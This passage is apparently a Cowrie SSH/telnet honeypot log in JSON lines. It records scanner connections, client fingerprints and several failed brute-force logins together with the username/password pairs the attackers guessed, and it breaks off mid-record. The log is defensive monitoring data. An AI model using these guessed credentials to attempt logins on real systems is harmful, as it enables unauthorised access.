{"eventid":"cowrie.login.failed","username":"root","password":"6y5t4r3e2w1q","message":"login attempt [root/6y5t4r3e2w1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:14.924505Z","src_ip":"103.15.222.183","session":"5cf320d4e2e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:16.171902Z","src_ip":"103.15.222.183","session":"5cf320d4e2e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"86.54.31.40","src_port":39554,"dst_ip":"159.203.135.109","dst_port":22,"session":"3771db16cac7","protocol":"ssh","message":"New connection: 86.54.31.40:39554 (159.203.135.109:22) [session: 3771db16cac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:18.956635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_2.11.0","message":"Remote SSH version: SSH-2.0-paramiko_2.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:18.960914Z","src_ip":"86.54.31.40","session":"3771db16cac7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a704be057881f0b1d623cd263e477a8b","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-rsa","ssh-dss","ecdsa-sha2-nistp256","ssh-ed25519","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a704be057881f0b1d623cd263e477a8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:19.041186Z","src_ip":"86.54.31.40","session":"3771db16cac7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:19.256530Z","src_ip":"86.54.31.40","session":"3771db16cac7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"86.54.31.40","src_port":39560,"dst_ip":"159.203.135.109","dst_port":22,"session":"de7f514264ed","protocol":"ssh","message":"New connection: 86.54.31.40:39560 (159.203.135.109:22) [session: de7f514264ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:19.344698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_2.11.0","message":"Remote SSH version: SSH-2.0-paramiko_2.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:19.348994Z","src_ip":"86.54.31.40","session":"de7f514264ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a704be057881f0b1d623cd263e477a8b","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a704be057881f0b1d623cd263e477a8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:19.431303Z","src_ip":"86.54.31.40","session":"de7f514264ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:19.437147Z","src_ip":"86.54.31.40","session":"de7f514264ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.810922145843506,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:25.305299Z","src_ip":"79.139.59.21","session":"5dd8c779dafd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":36862,"dst_ip":"10.17.0.5","dst_port":23,"session":"285787d062e8","protocol":"telnet","message":"New connection: 178.128.93.180:36862 (10.17.0.5:23) [session: 285787d062e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:34.509838Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.56.179","src_port":52594,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef1a405ffcbc","protocol":"ssh","message":"New connection: 115.190.56.179:52594 (159.203.135.109:22) [session: ef1a405ffcbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:38.817722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:38.822460Z","src_ip":"115.190.56.179","session":"ef1a405ffcbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:39.079073Z","src_ip":"115.190.56.179","session":"ef1a405ffcbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:41.948346Z","src_ip":"115.190.56.179","session":"ef1a405ffcbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:43.227593Z","src_ip":"115.190.56.179","session":"ef1a405ffcbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.8811776638031,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:43.739276Z","src_ip":"69.4.83.194","session":"0bc032cfb85a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.47339963912964,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:46.963454Z","src_ip":"69.4.83.194","session":"33b6f5327c7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.57.101","src_port":54798,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea320c4afaf1","protocol":"telnet","message":"New connection: 165.22.57.101:54798 (159.203.135.109:23) [session: ea320c4afaf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:58.393178Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.72.132","src_port":36984,"dst_ip":"159.203.135.109","dst_port":22,"session":"0708939a688f","protocol":"ssh","message":"New connection: 168.167.72.132:36984 (159.203.135.109:22) [session: 0708939a688f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:55:06.872438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:55:06.878655Z","src_ip":"168.167.72.132","session":"0708939a688f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:55:07.126445Z","src_ip":"168.167.72.132","session":"0708939a688f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"admin@123","message":"login attempt [centos/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:55:08.155586Z","src_ip":"168.167.72.132","session":"0708939a688f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:55:09.406130Z","src_ip":"168.167.72.132","session":"0708939a688f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":59768,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d9918b9b7db","protocol":"ssh","message":"New connection: 103.82.20.28:59768 (159.203.135.109:22) [session: 3d9918b9b7db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:55:18.778692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:55:18.783997Z","src_ip":"103.82.20.28","session":"3d9918b9b7db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:55:19.048180Z","src_ip":"103.82.20.28","session":"3d9918b9b7db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"seregaserega","message":"login attempt [root/seregaserega] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:55:19.841690Z","src_ip":"103.82.20.28","session":"3d9918b9b7db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:55:21.111166Z","src_ip":"103.82.20.28","session":"3d9918b9b7db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.04451513290405,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:55:31.437567Z","src_ip":"165.22.57.101","session":"ea320c4afaf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":77.74780821800232,"message":"Connection lost after 77 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:55:52.257543Z","src_ip":"178.128.93.180","session":"285787d062e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":45552,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffdb6ebfc6d4","protocol":"ssh","message":"New connection: 103.77.175.15:45552 (159.203.135.109:22) [session: ffdb6ebfc6d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:56:09.422206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:56:09.427011Z","src_ip":"103.77.175.15","session":"ffdb6ebfc6d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:56:09.681738Z","src_ip":"103.77.175.15","session":"ffdb6ebfc6d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nhfrnjh1","message":"login attempt [root/nhfrnjh1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:56:10.448508Z","src_ip":"103.77.175.15","session":"ffdb6ebfc6d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:56:11.705095Z","src_ip":"103.77.175.15","session":"ffdb6ebfc6d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.56.179","src_port":37888,"dst_ip":"159.203.135.109","dst_port":22,"session":"c291c2ecbc68","protocol":"ssh","message":"New connection: 115.190.56.179:37888 (159.203.135.109:22) [session: c291c2ecbc68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:56:19.844279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:56:19.849104Z","src_ip":"115.190.56.179","session":"c291c2ecbc68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:56:21.612113Z","src_ip":"115.190.56.179","session":"c291c2ecbc68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:56:36.201358Z","src_ip":"115.190.56.179","session":"c291c2ecbc68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.4","message":"Connection lost after 16.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:56:36.210536Z","src_ip":"115.190.56.179","session":"c291c2ecbc68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":35060,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3b51556cfbc","protocol":"telnet","message":"New connection: 69.4.83.194:35060 (159.203.135.109:23) [session: c3b51556cfbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:56:36.277442Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":37790,"dst_ip":"159.203.135.109","dst_port":23,"session":"74f5b4ec15f4","protocol":"telnet","message":"New connection: 69.4.83.194:37790 (159.203.135.109:23) [session: 74f5b4ec15f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:56:42.353905Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.205.18.79","src_port":35586,"dst_ip":"159.203.135.109","dst_port":22,"session":"c63dd81444dd","protocol":"ssh","message":"New connection: 20.205.18.79:35586 (159.203.135.109:22) [session: c63dd81444dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:56:50.915435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:56:50.920071Z","src_ip":"20.205.18.79","session":"c63dd81444dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hell